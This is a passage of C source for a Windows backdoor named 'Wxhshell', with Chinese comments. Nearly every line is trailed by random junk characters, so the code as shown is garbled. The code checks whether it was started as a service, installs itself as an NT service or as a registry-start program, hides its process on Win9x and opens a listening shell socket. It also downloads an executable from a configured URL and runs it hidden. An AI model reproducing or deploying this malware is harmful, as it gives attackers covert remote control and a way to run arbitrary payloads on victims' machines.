} PROCESS_BASIC_INFORMATION; 5YgT*}L+,
D]WrPWL8v
PROCNTQSIP NtQueryInformationProcess; 7T(&DOGZ
L=I;0Ip9y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K[Vj+qdyl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T^#d\2
vm=d?*cR
HANDLE hProcess; NE|Q0g
PROCESS_BASIC_INFORMATION pbi; FA%V>&;`
`~NjBtQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JOwu_%
if(NULL == hInst ) return 0; Ieh<|O,-C
|z0% q2(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qXoq<
|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~1nKL0C6u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jcRe),
y-~_ W 6\
if (!NtQueryInformationProcess) return 0; nx%eq,Pq
$dsLU5]1o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^-"tK:{
if(!hProcess) return 0; "1UpoF'w
[i_evsUj?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `w)yR>lqh
:G&:v
CloseHandle(hProcess); ('o}EoXS
(#]9{C;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n"@){:{4?
if(hProcess==NULL) return 0; 4P#4RB
#L&/o9|
HMODULE hMod; xxld. j6
char procName[255]; g@Rs.Zq
unsigned long cbNeeded; 3r[s_Y*
59~mr:*sF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %\~U>3Q
gLK0L%"5
CloseHandle(hProcess); Q
/t_%vb
>4os%T
if(strstr(procName,"services")) return 1; // 以服务启动 (i1p6
L^K,YlNBR
return 0; // 注册表启动 s|X_:3\x
} /[n]t
\+:`nz3m
// 主模块 p$` ^A
int StartWxhshell(LPSTR lpCmdLine) *w}r:04F
{ +{#Z^y6&
SOCKET wsl; b*4aUpW
BOOL val=TRUE; Iz>\qC}
int port=0; 9Q\RCl_1
struct sockaddr_in door; 4M+f#b1
?8;WP&
if(wscfg.ws_autoins) Install(); *^CN2tm
(0rcLNk{|
port=atoi(lpCmdLine); We'= /!
s4 Vju/
if(port<=0) port=wscfg.ws_port; }g:'K
ZP-9KA$"
WSADATA data; Qh*}v!3Jo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K??jV&Xor
-
b`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q5_ ,`r`
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hr T@Df
door.sin_family = AF_INET; ^s$U
n6v[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z)Yb9y>2
door.sin_port = htons(port); }G!'SZ$F 5
Ds{bYK_y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T7l,}G
closesocket(wsl); o@C|*TXN
return 1; 5glEV`.je
} Mgu9m8
`J
3K/]{ dkD
if(listen(wsl,2) == INVALID_SOCKET) { qLw^Qxo
closesocket(wsl); .k#O[^~]
return 1; =5:kV/p
} MYR\W*B'b
Wxhshell(wsl); rA@|nL{
WSACleanup(); ?9?o8!
NGEE'4!i7T
return 0; $#wi2Ve=6b
lLK||2d
} A{\DzUV9,
^;?w<9Y
// 以NT服务方式启动 KvI/!hl\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D%=&euB
{ A>(EM}\,
DWORD status = 0; >:0N)Pj
DWORD specificError = 0xfffffff; U@(8)[?nxn
?q0a^c?A^
serviceStatus.dwServiceType = SERVICE_WIN32; S'>KGdF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FRQkD%k
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vY[u;VU
serviceStatus.dwWin32ExitCode = 0; 6.a>7-K}%
serviceStatus.dwServiceSpecificExitCode = 0; mXsSOAD<
serviceStatus.dwCheckPoint = 0; j-qg{oIJ
serviceStatus.dwWaitHint = 0; ]eTp?q%0
PAVlZ}kj
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R/2L9Lcv
if (hServiceStatusHandle==0) return; [G[{?{
Lf{pTxKr
status = GetLastError(); |@?='E?h
if (status!=NO_ERROR) a(h@4 x
{ ONc#d'-L
serviceStatus.dwCurrentState = SERVICE_STOPPED; F(,SnSam
serviceStatus.dwCheckPoint = 0; ] HRHF'4
serviceStatus.dwWaitHint = 0; ol_&epG;ST
serviceStatus.dwWin32ExitCode = status; kjSzuqB
serviceStatus.dwServiceSpecificExitCode = specificError; 7mb5z/N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RaC6RH
return; 3[~LmA
} dO-Zj#%7z8
]0{,P
!
serviceStatus.dwCurrentState = SERVICE_RUNNING; (8em 5
serviceStatus.dwCheckPoint = 0; U1kW1L}B
serviceStatus.dwWaitHint = 0; Q"qJ0f)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zD
sV"D8
} &3*r-9BZ
-{yG+1
// 处理NT服务事件,比如:启动、停止 E,4*a5Fi
VOID WINAPI NTServiceHandler(DWORD fdwControl) O[=W%2I!i
{ u#->?
switch(fdwControl) rPHM_fW(O@
{ gX*
&RsF
case SERVICE_CONTROL_STOP: !Z; Nv
serviceStatus.dwWin32ExitCode = 0; rhN"#?
serviceStatus.dwCurrentState = SERVICE_STOPPED; @*$"6!3s5
serviceStatus.dwCheckPoint = 0; ~"h V-3U
serviceStatus.dwWaitHint = 0; gOaK7A
{ w *o _s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pFwe&_u]
} Qb:.WMj[q+
return; <(us(zbk]
case SERVICE_CONTROL_PAUSE: vLCm,Bb2L
serviceStatus.dwCurrentState = SERVICE_PAUSED; v/`#Gu^P
break; [bN_0T.YI
case SERVICE_CONTROL_CONTINUE: BkDq9>
serviceStatus.dwCurrentState = SERVICE_RUNNING; >lugHF$G
break; fqol-{F.V
case SERVICE_CONTROL_INTERROGATE: h:vI:V[/X
break; !,*Uvs@b
}; u 0 K1n_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @9MrTP
} -"xC\R
jgw+c3^R_
// 标准应用程序主函数 e#?rK=C?9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m9Dg%\B
{ yLt>OA<X
3d_g@x#9
// 获取操作系统版本 1sfs!b&E
OsIsNt=GetOsVer(); ~@iYP/=/Q
GetModuleFileName(NULL,ExeFile,MAX_PATH); {.UK{nA?sm
JZD&u6tB
// 从命令行安装 JWQ.Efe
if(strpbrk(lpCmdLine,"iI")) Install(); U[!wu]HMF
0-U%R)Q
// 下载执行文件 Ak2Vf0E b
if(wscfg.ws_downexe) { Ly6) ,[q~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'ExQG$t
WinExec(wscfg.ws_filenam,SW_HIDE); mzTM&@
} <P
c;8[
E%)3{#.z
if(!OsIsNt) { 0"`|f0}c
// 如果时win9x,隐藏进程并且设置为注册表启动 4[K6 ZDBU
HideProc(); m pM,&7}
StartWxhshell(lpCmdLine); ~"vRH
} |JCn=v@
else 5U/C
0{6
if(StartFromService()) -O[9{`i]
// 以服务方式启动 Bj\ oo+L/
StartServiceCtrlDispatcher(DispatchTable); Hp3T2|uL
else %XZdz=B
// 普通方式启动 K_BF=C.k
StartWxhshell(lpCmdLine); 9 N@N U:M+
XO4r rAYvW
return 0; `"j _]
}